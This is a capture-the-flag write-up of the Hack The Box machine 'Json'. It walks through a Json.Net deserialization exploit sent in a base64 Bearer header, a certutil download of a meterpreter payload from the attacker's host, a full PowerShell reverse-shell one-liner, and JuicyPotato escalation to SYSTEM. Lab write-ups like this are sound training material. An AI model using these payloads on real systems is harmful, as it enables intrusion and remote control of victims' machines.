Post

Hack The Box - Json

Configuration

The operating systems that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.158 json.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nmap -sV -sT -sC json.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 23:17 EST
Nmap scan report for json.htb (10.10.10.158)
Host is up (0.26s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h01m13s, deviation: 0s, median: 4h01m13s
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:bd:00:23 (VMware)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-01-18T08:19:44
|_  start_date: 2020-01-18T07:11:14

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.99 seconds

Enumeration (1)

When trying the access the ftp service, I wasn’t able to login anonymously, hence I went straight for the http service. Something weird actually happens because it went from what seems to be a dashboard:

to a login page at /login.html:

Tried some default usernames and passwords and admin:admin worked! I guess the usage of the StartBootStrap Admin theme was a hint. After logging in, we were directed back to the dashboard. Someone probably didn’t implement things correctly haha

Among the requests sent during the login, there was a suspicous GET request being sent to /api/account.

The response was:

1
2
3
4
5
6
7
{ 
    "Id":1,
    "UserName":"admin",
    "Password":"21232f297a57a5a743894a0e4a801fc3",
    "Name":"User Admin HTB",
    "Rol":"Administrator"
}

No requests parameters were sent so maybe the OAuth2 token in the Bearer header has something to do with it? The session value also had the same value for some reason. When to base64-decoding it, we got the same exact content as the response.

Lets try to cause some base64-decoding issues and hopefully see some errors :)

1
2
3
4
5
6
7
8
9
import base64
import requests

headers = {
	"Bearer": base64.b64encode(b"something")
}

resp = requests.get("http://json.htb/api/Account/", headers=headers)
print(resp.content)

Running the above script got:

1
b'{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}'

Json.Net? Didn’t know how to exploit but I came across this tool that is able to generate some sort of payload to execute commands ? What was neat was that the first example actually suited our needs and all we have to do is change the command executed.

Exploitation (1)

First, we need to generate our meterpreter payload and serve it using SimpleHTTPServer on port 80.

1
2
3
4
5
6
7
8
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.XX.XX LPORT=XXXX -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Next, we set up our reverse shell handler using msfconsole:

1
2
3
4
5
6
7
8
9
10
$ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set LHOST 10.10.XX.XX
LHOST => 10.10.XX.XX
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => XXXX
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run                                                                            
[*] Started reverse TCP handler on 10.10.XX.XX:XXXX

And now our exploit script to pull everything together:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import requests
import json

IP = "10.10.XX.XX"
PORT = "XXXX"

template = r"""
{
    "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "MethodParameters":{
        "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values":["cmd","/c %s"]
    },
    "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}
"""

commands = [
	r"mkdir c:\\tmp",
	r"certutil -f -split -urlcache http://%s:%s/shell.exe c:\\tmp\\shell.exe" % (IP, PORT),
	r"c:\\tmp\\shell.exe"
]

for command in commands:
	payload = template % (command,)
	minified = json.dumps(json.loads(payload)).encode()

	headers = {
		"Bearer": base64.b64encode(minified)
	}

	resp = requests.get("http://json.htb/api/Account/", headers=headers)

Running the script got us our session ! :)

1
2
3
4
[*] Sending stage (180291 bytes) to 10.10.10.158
[*] Meterpreter session 1 opened (10.10.XX.XX:XXXX -> 10.10.10.158:52355) at 2020-02-15 09:29:17 -0500
meterpreter > getuid
Server username: JSON\userpool

user.txt

1
2
3
4
5
6
7
8
meterpreter > shell
Process 676 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>more C:\Users\userpool\Destkop\user.txt
3445XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

If we look at what privileges we have as userpool,

1
2
3
4
5
6
7
8
9
10
11
12
c:\windows\system32\inetsrv>whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

According to PayloadAllTheThings, if we got SeImpersonate or SeAssignPrimaryToken privileges (which is this case we have both), we can use Juicy Potato.

First we create a .bat script to run a Powershell command that connects back to us.

1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.XX.XX',XXXX); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"

Then we use meterpreter to upload the files to the box:

1
2
3
4
5
6
meterpreter > upload /root/Desktop/web/x.bat C:\\tmp
[*] uploading  : /root/Desktop/web/x.bat -> C:\tmp
[*] uploaded   : /root/Desktop/web/x.bat -> C:\tmp\x.bat
meterpreter > upload /root/Desktop/web/JuicyPotato.exe C:\\tmp
[*] uploading  : /root/Desktop/web/JuicyPotato.exe -> C:\tmp
[*] uploaded   : /root/Desktop/web/JuicyPotato.exe -> C:\tmp\JuicyPotato.exe

Next we start a listener on our machine:

1
2
$ nc -lvnp XXXX
listening on [any] XXXX ...

To use JuicyPotato.exe, we need to know the CLSID based on the box’s Windows version Microsoft Windows Server 2012 R2 Datacenter (The version can be retrieved by running systeminfo on the box.). The CLSID can be gotten from here. Make sure the User belonging to the CLSID you have chosen is NT AUTHORITY/SYSTEM.

The last step would be to run JuicyPotato.exe on the box.

1
2
3
4
5
6
7
c:\tmp> JuicyPotato.exe -l XXXX -p c:\tmp\x.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} XXXX
....
[+] authresult 0
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

On our listener, we caught the connection:

1
2
3
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.158] 52604
PS C:\Windows\system32> whoami
nt authority\system

root.txt

1
2
PS C:\Windows\system32> more C:\Users\superadmin\Desktop\root.txt
3cc8XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.